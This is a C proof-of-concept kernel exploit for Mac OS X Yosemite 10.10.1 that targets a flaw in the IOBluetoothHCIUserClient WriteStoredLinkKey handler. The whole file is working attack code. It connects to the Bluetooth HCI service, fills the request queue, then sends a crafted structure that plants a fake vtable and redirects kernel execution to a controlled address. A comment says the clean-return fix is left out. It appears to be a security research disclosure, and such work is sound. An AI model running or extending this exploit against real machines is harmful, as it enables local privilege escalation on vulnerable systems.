/*
 * lpe-issue1.c
 * Written for Mac OS X Yosemite (10.10.1) by @joystick and @rpaleari.
 *
 * Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey()
 *
 * gcc -Wall -o lpe-issue1{,.c} -framework IOKit
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

#define SIZE 0x1000

struct BluetoothCall {
  uint64_t args[7];
  uint64_t sizes[7];
  uint64_t index;
};

#ifndef bswap64
#   define bswap64(num)							\
  ( (((uint64_t)(num) << 56)                               )		\
    | (((uint64_t)(num) << 40) & UINT64_C(0x00FF000000000000))		\
    | (((uint64_t)(num) << 24) & UINT64_C(0x0000FF0000000000))		\
    | (((uint64_t)(num) <<  8) & UINT64_C(0x000000FF00000000))		\
    | (((uint64_t)(num) >>  8) & UINT64_C(0x00000000FF000000))		\
    | (((uint64_t)(num) >> 24) & UINT64_C(0x0000000000FF0000))		\
    | (((uint64_t)(num) >> 40) & UINT64_C(0x000000000000FF00))		\
    | (((uint64_t)(num) >> 56)                               ) )
#endif

void create_requests(io_connect_t port)
{
  struct BluetoothCall a;
  uint32_t i;
  kern_return_t kr;

  for (i = 0; i < 7; i++) {
    a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
    a.sizes[i] = SIZE;
  }

  /* DispatchHCIRequestCreate() */
  a.index = 0x0;

  *(uint64_t *)a.args[0] = 5*1000;  /* Timeout */
  memset((void *)a.args[1], 0x81, 0x1000);
  memset((void *)a.args[2], 0x82, 0x1000);
  memset((void *)a.args[3], 0x83, 0x1000);
  memset((void *)a.args[4], 0x84, 0x1000);
  memset((void *)a.args[5], 0x85, 0x1000);
  memset((void *)a.args[6], 0x86, 0x1000);

  for(i = 0; i < 500; i++) {
    kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
			     (uint32_t) 0,       /* Selector */
			     NULL, 0,            /* input, inputCnt */
			     (const void*) &a,   /* inputStruct */
			     120,                /* inputStructCnt */
			     NULL, NULL, NULL, NULL); /* Output stuff */

    if(kr == 0xe00002bd) /* Full */
      break;
  }
}

int main(void) {
  struct BluetoothCall a;
  int i;
  void *landing_page = calloc(SIZE, sizeof(char));

  /* Init a */
  for (i = 0; i < 7; i++) {
    a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
    a.sizes[i] = SIZE;
  }

  /* Finding vuln service */
  io_service_t service =
    IOServiceGetMatchingService(kIOMasterPortDefault,
				IOServiceMatching("IOBluetoothHCIController"));

  if (!service) {
    return -1;
  }

  /* Connect to vuln service */
  io_connect_t port = (io_connect_t) 0;
  kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
  IOObjectRelease(service);
  if (kr != kIOReturnSuccess) {
    return kr;
  }

  /* Populating with fake requests. */
  create_requests(port);

  /* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */
  a.index = 42;
  /* Req number */
  *((uint32_t *)a.args[0]) = 1;
  /* num_of_keys */
  *((uint32_t *)a.args[1]) = 0x20;

  /* Padding */
  memset((void *)a.args[3], 0x33, 152);
  /* mov     rdi, [r14+0AB8h] */
  *((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page);
  /* mov rax, [rdi] */
  *((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page;
  /* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */
  *((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242;

  /* Here some fixing to the vtable is required to return cleanly after the exploit */

#if 0
  /* Debug print */
  for(i = 0; i < 120; i++) {
    if(i % 8 == 0) printf("\n");
    printf("\\x%02x", ((unsigned char *)&a)[i]);
  }
  printf("\n");
#endif

  kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
			   (uint32_t) 0,       /* Selector */
			   NULL, 0,            /* input, inputCnt */
			   (const void*) &a,   /* inputStruct */
			   120,                /* inputStructCnt */
			   NULL, NULL, NULL, NULL); /* Output stuff */
  printf("kr: %08x\n", kr);

  return IOServiceClose(port);
}
